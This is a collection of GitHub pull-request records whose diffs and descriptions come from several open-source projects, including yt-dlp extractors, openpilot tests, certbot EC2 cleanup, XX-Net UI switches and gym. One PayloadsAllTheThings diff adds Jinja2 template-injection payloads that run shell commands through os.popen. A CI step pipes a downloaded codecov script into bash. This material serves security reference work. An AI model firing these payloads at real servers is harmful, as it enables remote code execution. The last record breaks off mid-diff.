'title': title, + 'title': unescapeHTML(post.get('title')), 'timestamp': int_or_none(post.get('creationTs')), 'duration': duration, + 'uploader': traverse_obj(post, ('creator', 'fullName')), + 'uploader_id': traverse_obj(post, ('creator', 'username')), + 'uploader_url': url_or_none(traverse_obj(post, ('creator', 'profileUrl'))), 'formats': formats, 'thumbnails': thumbnails, - 'like_count': get_count('upVote'), - 'dislike_count': get_count('downVote'), - 'comment_count': get_count('comments'), + 'like_count': int_or_none(post.get('upVoteCount')), + 'dislike_count': int_or_none(post.get('downVoteCount')), + 'comment_count': int_or_none(post.get('commentsCount')), 'age_limit': 18 if post.get('nsfw') == 1 else None, 'categories': [section] if section else None, 'tags': tags,
### Description of your *pull request* and other information </details> <!-- Explanation of your *pull request* in arbitrary form goes here. Please **make sure the description explains the purpose and effect** of your *pull request* and is worded well enough to be understood. Provide as much **context and examples** as possible --> Added _9GAG post uploader_ data to NineGagIE Refactored some of NineGagIE to comply with https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#yt-dlp-coding-conventions Updated exisiting test and added another to test the uploader data Fixes #4587 <details open><summary>Template</summary> <!-- OPEN is intentional --> <!-- # PLEASE FOLLOW THE GUIDE BELOW - You will be asked some questions, please read them **carefully** and answer honestly - Put an `x` into all the boxes `[ ]` relevant to your *pull request* (like [x]) - Use *Preview* tab to see how your *pull request* will actually look like --> ### Before submitting a *pull request* make sure you have: - [x] At least skimmed through [contributing guidelines](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#developer-instructions) including [yt-dlp coding conventions](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#yt-dlp-coding-conventions) - [x] [Searched](https://github.com/yt-dlp/yt-dlp/search?q=is%3Apr&type=Issues) the bugtracker for similar pull requests - [x] Checked the code with [flake8](https://pypi.python.org/pypi/flake8) and [ran relevant tests](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#developer-instructions) ### In order to be accepted and merged into yt-dlp each piece of code must be in public domain or released under [Unlicense](http://unlicense.org/). Check one of the following options: - [x] I am the original author of this code and I am willing to release it under [Unlicense](http://unlicense.org/) - [ ] I am not the original author of this code but it is in public domain or released under [Unlicense](http://unlicense.org/) (provide reliable evidence) ### What is the purpose of your *pull request*? - [x] Fix or improvement to an extractor (Make sure to add/update tests) - [ ] New extractor ([Piracy websites will not be accepted](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#is-the-website-primarily-used-for-piracy)) - [ ] Core bug fix/improvement - [ ] New feature (It is strongly [recommended to open an issue first](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#adding-new-feature-or-making-overarching-changes))
https://api.github.com/repos/yt-dlp/yt-dlp/pulls/4597
2022-08-07T19:05:25Z
2022-08-07T20:21:53Z
2022-08-07T20:21:53Z
2022-08-07T20:21:54Z
1,085
yt-dlp/yt-dlp
7,968
common/util.cc: add unit test, fix bug in util::read_file
diff --git a/.github/workflows/selfdrive_tests.yaml b/.github/workflows/selfdrive_tests.yaml index 305d2c7b889460..c12aedcced6866 100644 --- a/.github/workflows/selfdrive_tests.yaml +++ b/.github/workflows/selfdrive_tests.yaml @@ -208,6 +208,7 @@ jobs: $UNIT_TEST selfdrive/athena && \ $UNIT_TEST selfdrive/thermald && \ $UNIT_TEST tools/lib/tests && \ + ./selfdrive/common/tests/test_util && \ ./selfdrive/camerad/test/ae_gray_test" - name: Upload coverage to Codecov run: bash <(curl -s https://codecov.io/bash) -v -F unit_tests diff --git a/selfdrive/common/SConscript b/selfdrive/common/SConscript index 8f6c1dc18e9bcb..57c78947996e89 100644 --- a/selfdrive/common/SConscript +++ b/selfdrive/common/SConscript @@ -35,3 +35,6 @@ else: _gpucommon = fxn('gpucommon', files, LIBS=_gpu_libs) Export('_common', '_gpucommon', '_gpu_libs') + +if GetOption('test'): + env.Program('tests/test_util', ['tests/test_util.cc'], LIBS=[_common]) diff --git a/selfdrive/common/tests/.gitignore b/selfdrive/common/tests/.gitignore new file mode 100644 index 00000000000000..2b7a3c6eb89705 --- /dev/null +++ b/selfdrive/common/tests/.gitignore @@ -0,0 +1 @@ +test_util diff --git a/selfdrive/common/tests/test_util.cc b/selfdrive/common/tests/test_util.cc new file mode 100644 index 00000000000000..fbf190576e0d37 --- /dev/null +++ b/selfdrive/common/tests/test_util.cc @@ -0,0 +1,49 @@ + +#include <dirent.h> +#include <sys/types.h> + +#include <algorithm> +#include <climits> +#include <random> +#include <string> + +#define CATCH_CONFIG_MAIN +#include "catch2/catch.hpp" +#include "selfdrive/common/util.h" + +std::string random_bytes(int size) { + std::random_device rd; + std::independent_bits_engine<std::default_random_engine, CHAR_BIT, unsigned char> rbe(rd()); + std::string bytes(size+1, '\0'); + std::generate(bytes.begin(), bytes.end(), std::ref(rbe)); + return bytes; +} + +TEST_CASE("util::read_file") { + SECTION("read /proc") { + std::string ret = util::read_file("/proc/self/cmdline"); + REQUIRE(ret.find("test_util") != std::string::npos); + } + SECTION("read file") { + char filename[] = "/tmp/test_read_XXXXXX"; + int fd = mkstemp(filename); + + REQUIRE(util::read_file(filename).empty()); + + std::string content = random_bytes(64 * 1024); + write(fd, content.c_str(), content.size()); + std::string ret = util::read_file(filename); + REQUIRE(ret == content); + close(fd); + } + SECTION("read directory") { + REQUIRE(util::read_file(".").empty()); + } + SECTION("read non-existent file") { + std::string ret = util::read_file("does_not_exist"); + REQUIRE(ret.empty()); + } + SECTION("read non-permission") { + REQUIRE(util::read_file("/proc/kmsg").empty()); + } +} diff --git a/selfdrive/common/util.cc b/selfdrive/common/util.cc index fd2e46db1358e4..bcdc7997dd4008 100644 --- a/selfdrive/common/util.cc +++ b/selfdrive/common/util.cc @@ -56,8 +56,8 @@ namespace util { std::string read_file(const std::string& fn) { std::ifstream ifs(fn, std::ios::binary | std::ios::ate); if (ifs) { - std::ifstream::pos_type pos = ifs.tellg(); - if (pos != std::ios::beg) { + int pos = ifs.tellg(); + if (pos > 0) { std::string result; result.resize(pos); ifs.seekg(0, std::ios::beg);
<!-- Please copy and paste the relevant template --> <!--- ***** Template: Car bug fix ***** **Description** [](A description of the bug and the fix. Also link any relevant issues.) **Verification** [](Explain how you tested this bug fix.) **Route** Route: [a route with the bug fix] --> <!--- ***** Template: Bug fix ***** **Description** [](A description of the bug and the fix. Also link any relevant issues.) **Verification** [](Explain how you tested this bug fix.) --> <!--- ***** Template: Car port ***** **Checklist** - [ ] added to README - [ ] test route added to [test_routes.py](https://github.com/commaai/openpilot/blob/master/selfdrive/test/test_models.py) - [ ] route with openpilot: - [ ] route with stock system: --> <!--- ***** Template: Refactor ***** **Description** [](A description of the refactor, including the goals it accomplishes.) **Verification** [](Explain how you tested the refactor for regressions.) -->
https://api.github.com/repos/commaai/openpilot/pulls/21251
2021-06-13T17:47:28Z
2021-06-16T09:01:13Z
2021-06-16T09:01:13Z
2021-06-16T09:02:31Z
1,007
commaai/openpilot
9,847
Add areena.yle.fi video download support
diff --git a/yt_dlp/extractor/_extractors.py b/yt_dlp/extractor/_extractors.py index 8652ec54e55..12218a55c48 100644 --- a/yt_dlp/extractor/_extractors.py +++ b/yt_dlp/extractor/_extractors.py @@ -2233,6 +2233,7 @@ from .yapfiles import YapFilesIE from .yesjapan import YesJapanIE from .yinyuetai import YinYueTaiIE +from .yle_areena import YleAreenaIE from .ynet import YnetIE from .youjizz import YouJizzIE from .youku import ( diff --git a/yt_dlp/extractor/yle_areena.py b/yt_dlp/extractor/yle_areena.py new file mode 100644 index 00000000000..118dc1262d1 --- /dev/null +++ b/yt_dlp/extractor/yle_areena.py @@ -0,0 +1,71 @@ +from .common import InfoExtractor +from .kaltura import KalturaIE +from ..utils import int_or_none, traverse_obj, url_or_none + + +class YleAreenaIE(InfoExtractor): + _VALID_URL = r'https?://areena\.yle\.fi/(?P<id>[\d-]+)' + _TESTS = [{ + 'url': 'https://areena.yle.fi/1-4371942', + 'md5': '932edda0ecf5dfd6423804182d32f8ac', + 'info_dict': { + 'id': '0_a3tjk92c', + 'ext': 'mp4', + 'title': 'Pouchit', + 'description': 'md5:d487309c3abbe5650265bbd1742d2f82', + 'series': 'Modernit miehet', + 'season': 'Season 1', + 'season_number': 1, + 'episode': 'Episode 2', + 'episode_number': 2, + 'thumbnail': 'http://cfvod.kaltura.com/p/1955031/sp/195503100/thumbnail/entry_id/0_a3tjk92c/version/100061', + 'uploader_id': 'ovp@yle.fi', + 'duration': 1435, + 'view_count': int, + 'upload_date': '20181204', + 'timestamp': 1543916210, + 'subtitles': {'fin': [{'url': r're:^https?://', 'ext': 'srt'}]}, + 'age_limit': 7, + } + }] + + def _real_extract(self, url): + video_id = self._match_id(url) + info = self._search_json_ld(self._download_webpage(url, video_id), video_id, default={}) + video_data = self._download_json( + f'https://player.api.yle.fi/v1/preview/{video_id}.json?app_id=player_static_prod&app_key=8930d72170e48303cf5f3867780d549b', + video_id) + + # Example title: 'K1, J2: Pouchit | Modernit miehet' + series, season_number, episode_number, episode = self._search_regex( + r'K(?P<season_no>[\d]+),\s*J(?P<episode_no>[\d]+):?\s*\b(?P<episode>[^|]+)\s*|\s*(?P<series>.+)', + info.get('title') or '', 'episode metadata', group=('season_no', 'episode_no', 'episode', 'series'), + default=(None, None, None, None)) + description = traverse_obj(video_data, ('data', 'ongoing_ondemand', 'description', 'fin'), expected_type=str) + + subtitles = {} + for sub in traverse_obj(video_data, ('data', 'ongoing_ondemand', 'subtitles', ...)): + if url_or_none(sub.get('uri')): + subtitles.setdefault(sub.get('language') or 'und', []).append({ + 'url': sub['uri'], + 'ext': 'srt', + 'name': sub.get('kind'), + }) + + return { + '_type': 'url_transparent', + 'url': 'kaltura:1955031:%s' % traverse_obj(video_data, ('data', 'ongoing_ondemand', 'kaltura', 'id')), + 'ie_key': KalturaIE.ie_key(), + 'title': (traverse_obj(video_data, ('data', 'ongoing_ondemand', 'title', 'fin'), expected_type=str) + or episode or info.get('title')), + 'description': description, + 'series': (traverse_obj(video_data, ('data', 'ongoing_ondemand', 'series', 'title', 'fin'), expected_type=str) + or series), + 'season_number': (int_or_none(self._search_regex(r'Kausi (\d+)', description, 'season number', default=None)) + or int(season_number)), + 'episode_number': (traverse_obj(video_data, ('data', 'ongoing_ondemand', 'episode_number'), expected_type=int_or_none) + or int(episode_number)), + 'thumbnails': traverse_obj(info, ('thumbnails', ..., {'url': 'url'})), + 'age_limit': traverse_obj(video_data, ('data', 'ongoing_ondemand', 'content_rating', 'age_restriction'), expected_type=int_or_none), + 'subtitles': subtitles, + }
**IMPORTANT**: PRs without the template will be CLOSED ### Description of your *pull request* and other information </details> <!-- Explanation of your *pull request* in arbitrary form goes here. Please **make sure the description explains the purpose and effect** of your *pull request* and is worded well enough to be understood. Provide as much **context and examples** as possible --> Added new extractor for single videos from areena.yle.fi and corresponding test. Fixes #2508 <details open><summary>Template</summary> <!-- OPEN is intentional --> <!-- # PLEASE FOLLOW THE GUIDE BELOW - You will be asked some questions, please read them **carefully** and answer honestly - Put an `x` into all the boxes `[ ]` relevant to your *pull request* (like [x]) - Use *Preview* tab to see how your *pull request* will actually look like --> ### Before submitting a *pull request* make sure you have: - [x] At least skimmed through [contributing guidelines](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#developer-instructions) including [yt-dlp coding conventions](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#yt-dlp-coding-conventions) - [x] [Searched](https://github.com/yt-dlp/yt-dlp/search?q=is%3Apr&type=Issues) the bugtracker for similar pull requests - [x] Checked the code with [flake8](https://pypi.python.org/pypi/flake8) and [ran relevant tests](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#developer-instructions) ### In order to be accepted and merged into yt-dlp each piece of code must be in public domain or released under [Unlicense](http://unlicense.org/). Check one of the following options: - [x] I am the original author of this code and I am willing to release it under [Unlicense](http://unlicense.org/) - [ ] I am not the original author of this code but it is in public domain or released under [Unlicense](http://unlicense.org/) (provide reliable evidence) ### What is the purpose of your *pull request*? - [ ] Fix or improvement to an extractor (Make sure to add/update tests) - [x] New extractor ([Piracy websites will not be accepted](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#is-the-website-primarily-used-for-piracy)) - [ ] Core bug fix/improvement - [ ] New feature (It is strongly [recommended to open an issue first](https://github.com/yt-dlp/yt-dlp/blob/master/CONTRIBUTING.md#adding-new-feature-or-making-overarching-changes))
https://api.github.com/repos/yt-dlp/yt-dlp/pulls/5270
2022-10-17T18:10:02Z
2022-11-11T09:36:24Z
2022-11-11T09:36:24Z
2022-11-11T09:37:37Z
1,284
yt-dlp/yt-dlp
7,805
Skip langchain `test_agent_run` failing test
diff --git a/lib/test-requirements.txt b/lib/test-requirements.txt index f6c0442d355d..d52b76a4dcb8 100644 --- a/lib/test-requirements.txt +++ b/lib/test-requirements.txt @@ -46,3 +46,6 @@ sqlalchemy[mypy]>=1.4.25, <2.0 # Pydantic 1.* fails to initialize validators, we add it to requirements # to test the fix. Pydantic 2 should not have that issue. pydantic>=1.0, <2.0 + +# semver 3 renames VersionInfo so temporarily pin until we deal with it +semver<3 diff --git a/lib/tests/streamlit/external/langchain/streamlit_callback_handler_test.py b/lib/tests/streamlit/external/langchain/streamlit_callback_handler_test.py index e82049ba2d57..8d9ab3d6a87f 100644 --- a/lib/tests/streamlit/external/langchain/streamlit_callback_handler_test.py +++ b/lib/tests/streamlit/external/langchain/streamlit_callback_handler_test.py @@ -17,6 +17,9 @@ import unittest from pathlib import Path +import langchain +import pytest +import semver from google.protobuf.json_format import MessageToDict import streamlit as st @@ -74,6 +77,10 @@ def test_import_from_langchain(self): class StreamlitCallbackHandlerTest(DeltaGeneratorTestCase): + @pytest.mark.skipif( + semver.VersionInfo.parse(langchain.__version__) >= "0.0.296", + reason="Skip version verification when `SKIP_VERSION_CHECK` env var is set", + ) def test_agent_run(self): """Test a complete LangChain Agent run using StreamlitCallbackHandler.""" from streamlit.external.langchain import StreamlitCallbackHandler
skip langchain `test_agent_run` test, if langchain version is newer than 0.0.295 (after https://github.com/langchain-ai/langchain/pull/10797/ PR old pickle file we use could not be marshaled into new `AgentAction` class instance) <!-- ⚠️ BEFORE CONTRIBUTING PLEASE READ OUR CONTRIBUTING GUIDELINES! https://github.com/streamlit/streamlit/wiki/Contributing --> ## Describe your changes ## GitHub Issue Link (if applicable) ## Testing Plan - Explanation of why no additional tests are needed - Unit Tests (JS and/or Python) - E2E Tests - Any manual testing needed? --- **Contribution License Agreement** By submitting this pull request you agree that all contributions to this project are made under the Apache 2.0 license.
https://api.github.com/repos/streamlit/streamlit/pulls/7399
2023-09-21T15:41:56Z
2023-09-21T18:14:18Z
2023-09-21T18:14:18Z
2023-09-21T18:15:03Z
407
streamlit/streamlit
22,129
Automate EBS cleanup
diff --git a/tests/letstest/multitester.py b/tests/letstest/multitester.py index 17740cde820..0ae9636d428 100644 --- a/tests/letstest/multitester.py +++ b/tests/letstest/multitester.py @@ -128,6 +128,7 @@ def make_instance(instance_name, userdata=""): #userdata contains bash or cloud-init script new_instance = EC2.create_instances( + BlockDeviceMappings=_get_block_device_mappings(ami_id), ImageId=ami_id, SecurityGroups=security_groups, KeyName=keyname, @@ -151,38 +152,21 @@ def make_instance(instance_name, raise return new_instance -def terminate_and_clean(instances): - """ - Some AMIs specify EBS stores that won't delete on instance termination. - These must be manually deleted after shutdown. +def _get_block_device_mappings(ami_id): + """Returns the list of block device mappings to ensure cleanup. + + This list sets connected EBS volumes to be deleted when the EC2 + instance is terminated. + """ - volumes_to_delete = [] - for instance in instances: - for bdmap in instance.block_device_mappings: - if 'Ebs' in bdmap.keys(): - if not bdmap['Ebs']['DeleteOnTermination']: - volumes_to_delete.append(bdmap['Ebs']['VolumeId']) - - for instance in instances: - instance.terminate() - - # can't delete volumes until all attaching instances are terminated - _ids = [instance.id for instance in instances] - all_terminated = False - while not all_terminated: - all_terminated = True - for _id in _ids: - # necessary to reinit object for boto3 to get true state - inst = EC2.Instance(id=_id) - if inst.state['Name'] != 'terminated': - all_terminated = False - time.sleep(5) - - for vol_id in volumes_to_delete: - volume = EC2.Volume(id=vol_id) - volume.delete() - - return volumes_to_delete + # Not all devices use EBS, but the default value for DeleteOnTermination + # when the device does use EBS is true. See: + # * https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-blockdev-mapping.html + # * https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-blockdev-template.html + return [{'DeviceName': mapping['DeviceName'], + 'Ebs': {'DeleteOnTermination': True}} + for mapping in EC2.Image(ami_id).block_device_mappings + if not mapping.get('Ebs', {}).get('DeleteOnTermination', True)] # Helper Routines @@ -370,10 +354,11 @@ def test_client_process(inqueue, outqueue): def cleanup(cl_args, instances, targetlist): print('Logs in ', LOGDIR) if not cl_args.saveinstances: - print('Terminating EC2 Instances and Cleaning Dangling EBS Volumes') + print('Terminating EC2 Instances') if cl_args.killboulder: boulder_server.terminate() - terminate_and_clean(instances) + for instance in instances: + instance.terminate() else: # print login information for the boxes for debugging for ii, target in enumerate(targetlist):
Part of #6056. I have another piece to this locally which makes us terminating the instances more reliable, but I thought I'd split up the PR and first submit this which causes Amazon to automatically handle deleting EBS volumes when instances are shutdown. The general approach here is described at https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/RootDeviceStorage.html#Using_RootDeviceStorage. Doing something like this significantly speeds up cleanup and ensures we always cleanup storage because [EC2 only supports EBS and instance volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/block-device-mapping-concepts.html#block-device-mapping-def) and [instance volumes cannot outlive the associated instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/InstanceStorage.html#instance-store-lifetime). Probably the easiest way to tests this is to run a test with `--killboulder` on the command line and wait for the test to finish or hit ctrl+c after you see "Waiting on Boulder Server". If you do that and wait a few minutes, you can then run `aws ec2 --profile <profile> describe-volumes` and if no one else is running tests on our account, the output should be empty.
https://api.github.com/repos/certbot/certbot/pulls/6160
2018-06-28T21:31:47Z
2018-07-18T00:19:05Z
2018-07-18T00:19:05Z
2018-08-22T18:31:43Z
779
certbot/certbot
260
fix(relay): Make MEP metrics extraction work through flagr
diff --git a/src/sentry/features/__init__.py b/src/sentry/features/__init__.py index 973abc31c08f85..dc2c71fdc17e07 100644 --- a/src/sentry/features/__init__.py +++ b/src/sentry/features/__init__.py @@ -133,7 +133,7 @@ default_manager.add("organizations:slack-overage-notifications", OrganizationFeature, True) default_manager.add("organizations:symbol-sources", OrganizationFeature) default_manager.add("organizations:team-roles", OrganizationFeature, True) -default_manager.add("organizations:transaction-metrics-extraction", OrganizationFeature) +default_manager.add("organizations:transaction-metrics-extraction", OrganizationFeature, True) default_manager.add("organizations:unified-span-view", OrganizationFeature, True) default_manager.add("organizations:widget-library", OrganizationFeature, True) default_manager.add("organizations:widget-viewer-modal", OrganizationFeature, True)
While transaction metrics are not stabilized, let's enable them through flagr for a moment. This partially reverts https://github.com/getsentry/sentry/commit/755a304d7d5ebd1c9ea5a61e407d38924f4fcb65 / #31995
https://api.github.com/repos/getsentry/sentry/pulls/35922
2022-06-22T19:20:04Z
2022-06-22T19:44:31Z
2022-06-22T19:44:31Z
2022-07-08T00:03:20Z
201
getsentry/sentry
44,465
Add Yandex Music
diff --git a/sherlock/resources/data.json b/sherlock/resources/data.json index 1e6f1641e..8fcb909c6 100644 --- a/sherlock/resources/data.json +++ b/sherlock/resources/data.json @@ -2231,6 +2231,13 @@ "username_claimed": "blue", "username_unclaimed": "noonewouldeverusethis7" }, + "YandexMusic": { + "errorType": "status_code", + "url": "https://music.yandex/users/{}/playlists", + "urlMain": "https://music.yandex", + "username_claimed": "ya.playlist", + "username_unclaimed": "noonewouldeverusethis" + }, "YouNow": { "errorMsg": "No users found", "errorType": "message",
Add https://music.yandex/
https://api.github.com/repos/sherlock-project/sherlock/pulls/1525
2022-10-06T10:24:52Z
2022-10-09T12:22:13Z
2022-10-09T12:22:13Z
2022-10-09T12:22:13Z
198
sherlock-project/sherlock
36,328
set analytics api version to v1
diff --git a/localstack/constants.py b/localstack/constants.py index 3279329f20adc..a2a80eb181d66 100644 --- a/localstack/constants.py +++ b/localstack/constants.py @@ -143,7 +143,7 @@ # API endpoint for analytics events API_ENDPOINT = os.environ.get("API_ENDPOINT") or "https://api.localstack.cloud/v1" # new analytics API endpoint -ANALYTICS_API = os.environ.get("ANALYTICS_API") or "https://analytics.localstack.cloud/v0" +ANALYTICS_API = os.environ.get("ANALYTICS_API") or "https://analytics.localstack.cloud/v1" # environment variable to indicates that this process is running the Web UI LOCALSTACK_WEB_PROCESS = "LOCALSTACK_WEB_PROCESS"
this PR updates the analytics API to v1 which was deployed and tested today
https://api.github.com/repos/localstack/localstack/pulls/6431
2022-07-11T15:26:18Z
2022-07-11T17:09:48Z
2022-07-11T17:09:48Z
2022-07-11T17:10:03Z
176
localstack/localstack
28,853
Improve switch control
diff --git a/gae_proxy/web_ui/config.html b/gae_proxy/web_ui/config.html index 704861d5f0..6b6174c350 100644 --- a/gae_proxy/web_ui/config.html +++ b/gae_proxy/web_ui/config.html @@ -158,16 +158,11 @@ } if ( result['host_appengine_mode'] == 'gae' ) { - $('#deploy-via-gae').parent().removeClass('switch-off'); - $('#deploy-via-gae').parent().addClass('switch-on'); - $('#deploy-via-gae').prop('checked', true); + $('#deploy-via-gae').bootstrapSwitch('setState', true); } if ( typeof(result['proxy_enable']) != 'undefined' && result['proxy_enable'] != 0 ) { - $('#enable-proxy').parent().removeClass('switch-off'); - $('#enable-proxy').parent().addClass('switch-on'); - - $('#enable-proxy').prop('checked', true); + $('#enable-proxy').bootstrapSwitch('setState', true) $('#proxy-options').slideDown(); } $('#proxy-type').val(result['proxy_type']); @@ -176,9 +171,7 @@ $('#proxy-username').val(result['proxy_user']); $('#proxy-password').val(result['proxy_passwd']); if ( result['use_ipv6'] == 1 ) { - $('#use-ipv6').parent().removeClass('switch-off'); - $('#use-ipv6').parent().addClass('switch-on'); - $('#use-ipv6').prop('checked', true); + $('#use-ipv6').bootstrapSwitch('setState', true); } }, error: function(){ diff --git a/gae_proxy/web_ui/deploy.html b/gae_proxy/web_ui/deploy.html index 22de14bc23..c199112360 100644 --- a/gae_proxy/web_ui/deploy.html +++ b/gae_proxy/web_ui/deploy.html @@ -46,21 +46,6 @@ <h2>{{ _( "Deploy XX-Net onto GAE" ) }}</h2> }); }); </script> -<script type="text/javascript"> - $('label[for=advanced-options]').click(function() { - var isAdvancedOptionsShown = $('#advanced-options').is(':visible'); - - if ( !isAdvancedOptionsShown ) { - $('i.icon', this).removeClass('icon-chevron-right'); - $('i.icon', this).addClass('icon-chevron-down'); - $('#advanced-options').slideDown(); - } else { - $('i.icon', this).removeClass('icon-chevron-down'); - $('i.icon', this).addClass('icon-chevron-right'); - $('#advanced-options').slideUp(); - } - }); -</script> <script type="text/javascript"> $('#log').scroll(function() { var preservedHeight = $('#log').height() + 10, diff --git a/gae_proxy/web_ui/scan_setting.html b/gae_proxy/web_ui/scan_setting.html index 2fd4c4bc98..ab238cfa23 100644 --- a/gae_proxy/web_ui/scan_setting.html +++ b/gae_proxy/web_ui/scan_setting.html @@ -75,10 +75,7 @@ dataType: 'JSON', success: function(result) { if ( result['auto_adjust_scan_ip_thread_num'] != 0 ) { - $( "#auto-adjust-scan-ip-thread-num").parent().removeClass('switch-off'); - $( "#auto-adjust-scan-ip-thread-num").parent().addClass('switch-on'); - - $( "#auto-adjust-scan-ip-thread-num").prop('checked', true); + $( "#auto-adjust-scan-ip-thread-num").bootstrapSwitch('setState', true); } $('#scan-ip-thread-num').val(result['scan_ip_thread_num']); }, diff --git a/gae_proxy/web_ui/status.html b/gae_proxy/web_ui/status.html index 2483bca35a..44f15aeaaf 100644 --- a/gae_proxy/web_ui/status.html +++ b/gae_proxy/web_ui/status.html @@ -544,10 +544,11 @@ <h3>{{ _( "Diagnostic Info" ) }}</h3> dataType: 'JSON', success: function(result) { if ( result['show_detail'] != 0 ) { - $( "#show-detail").parent().removeClass('switch-off'); - $( "#show-detail").parent().addClass('switch-on'); - $( "#show-detail").prop('checked', true); + $( "#show-detail").bootstrapSwitch('setState', true); $( "#details" ).slideDown(); + } else { + $( "#show-detail").bootstrapSwitch('setState', false); + $( "#details" ).slideUp(); } } }); diff --git a/launcher/web_ui/config.html b/launcher/web_ui/config.html index c8b7ee15c4..02b961205d 100644 --- a/launcher/web_ui/config.html +++ b/launcher/web_ui/config.html @@ -148,47 +148,25 @@ dataType: 'JSON', success: function(result) { if ( result['auto_start'] != 0 ) { - $( "#auto-start").parent().removeClass('switch-off'); - $( "#auto-start").parent().addClass('switch-on'); - - $( "#auto-start").prop('checked', true); + $( "#auto-start").bootstrapSwitch('setState', true); } if ( result['popup_webui'] != 0 ) { - $( "#popup-webui").parent().removeClass('switch-off'); - $( "#popup-webui").parent().addClass('switch-on'); - - $( "#popup-webui").prop('checked', true); + $( "#popup-webui").bootstrapSwitch('setState', true); } if ( result['allow_remote_connect'] != 0 ) { - $( "#allow-remote-connect").parent().removeClass('switch-off'); - $( "#allow-remote-connect").parent().addClass('switch-on'); - - $( "#allow-remote-connect").prop('checked', true); + $( "#allow-remote-connect").bootstrapSwitch('setState', true); } if ( result['show_systray'] != 0 ) { - $( "#show-systray").parent().removeClass('switch-off'); - $( "#show-systray").parent().addClass('switch-on'); - - $( "#show-systray").prop('checked', true); + $( "#show-systray").bootstrapSwitch('setState', true); } if ( result['gae_proxy_enable'] != 0 ) { - $( "#gae_proxy-enable").parent().removeClass('switch-off'); - $( "#gae_proxy-enable").parent().addClass('switch-on'); - - - $( "#gae_proxy-enable").prop('checked', true); + $( "#gae_proxy-enable").bootstrapSwitch('setState', true); } if ( result['php_enable'] != 0 ) { - $( "#php-enable").parent().removeClass('switch-off'); - $( "#php-enable").parent().addClass('switch-on'); - - $( "#php-enable").prop('checked', true); + $( "#php-enable").bootstrapSwitch('setState', true); } if ( result['x_tunnel_enable'] != 0 ) { - $( "#x-tunnel-enable").parent().removeClass('switch-off'); - $( "#x-tunnel-enable").parent().addClass('switch-on'); - - $( "#x-tunnel-enable").prop('checked', true); + $( "#x-tunnel-enable").bootstrapSwitch('setState', true); } $( "#language").val(result['language']); $( "#check-update").val(result['check_update']); diff --git a/php_proxy/web_ui/config.html b/php_proxy/web_ui/config.html index 6fb34ad0f5..bde5d2103c 100644 --- a/php_proxy/web_ui/config.html +++ b/php_proxy/web_ui/config.html @@ -98,10 +98,7 @@ $('#php-password').val(result['php_password']); if ( typeof(result['proxy_enable']) != 'undefined' && result['proxy_enable'] != 0 ) { - $('#enable-front-proxy').parent().removeClass('switch-off'); - $('#enable-front-proxy').parent().addClass('switch-on'); - - $('#enable-front-proxy').prop('checked', true); + $('#enable-front-proxy').bootstrapSwitch('setState', true); $('#front-proxy-options').slideDown(); } $('#proxy-host').val(result['proxy_host']);
https://api.github.com/repos/XX-net/XX-Net/pulls/2526
2016-03-28T08:27:44Z
2016-03-28T08:58:19Z
2016-03-28T08:58:19Z
2016-03-28T08:58:19Z
1,854
XX-net/XX-Net
17,211
Adding Jinja2 RCE through lipsum in Templates
diff --git a/Server Side Template Injection/README.md b/Server Side Template Injection/README.md index 5c9fe14cde..3c0324e1b0 100644 --- a/Server Side Template Injection/README.md +++ b/Server Side Template Injection/README.md @@ -563,7 +563,7 @@ But when `__builtins__` is filtered, the following payloads are context-free, an {{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }} ``` -We can use these shorter payloads (this is the shorter payloads known yet): +We can use these shorter payloads: ```python {{ cycler.__init__.__globals__.os.popen('id').read() }} @@ -573,6 +573,14 @@ We can use these shorter payloads (this is the shorter payloads known yet): Source [@podalirius_](https://twitter.com/podalirius_) : https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/ +With [objectwalker](https://github.com/p0dalirius/objectwalker) we can find a path to the `os` module from `lipsum`. This is the shortest payload known to achieve RCE in a Jinja2 template: + +```python +{{ lipsum.__globals__.["os"].popen('id').read() }} +``` + +Source: https://twitter.com/podalirius_/status/1655970628648697860 + #### Exploit the SSTI by calling subprocess.Popen :warning: the number 396 will vary depending of the application.
Source; https://twitter.com/podalirius_/status/1655970628648697860
https://api.github.com/repos/swisskyrepo/PayloadsAllTheThings/pulls/642
2023-05-09T16:34:44Z
2023-05-09T16:58:58Z
2023-05-09T16:58:58Z
2023-05-09T16:58:58Z
359
swisskyrepo/PayloadsAllTheThings
8,343
Avoid metaclass conflicts when inheriting from `gym.Env`
diff --git a/gym/core.py b/gym/core.py index e06398e7f51..7a1b79ebe43 100644 --- a/gym/core.py +++ b/gym/core.py @@ -31,55 +31,36 @@ RenderFrame = TypeVar("RenderFrame") -class _EnvDecorator(type): # TODO: remove with gym 1.0 - """Metaclass used for adding deprecation warning to the mode kwarg in the render method.""" - - def __new__(cls, name, bases, attr): - if "render" in attr.keys(): - attr["render"] = _EnvDecorator._deprecate_mode(attr["render"]) - - return super().__new__(cls, name, bases, attr) - - @staticmethod - def _deprecate_mode(render_func): # type: ignore - render_return = Optional[Union[RenderFrame, List[RenderFrame]]] - - def render( - self: object, *args: Tuple[Any], **kwargs: Dict[str, Any] - ) -> render_return: - if "mode" in kwargs.keys() or len(args) > 0: - deprecation( - "The argument mode in render method is deprecated; " - "use render_mode during environment initialization instead.\n" - "See here for more information: https://www.gymlibrary.ml/content/api/" - ) - elif self.spec is not None and "render_mode" not in self.spec.kwargs.keys(): # type: ignore - deprecation( - "You are calling render method, " - "but you didn't specified the argument render_mode at environment initialization. " - "To maintain backward compatibility, the environment will render in human mode.\n" - "If you want to render in human mode, initialize the environment in this way: " - 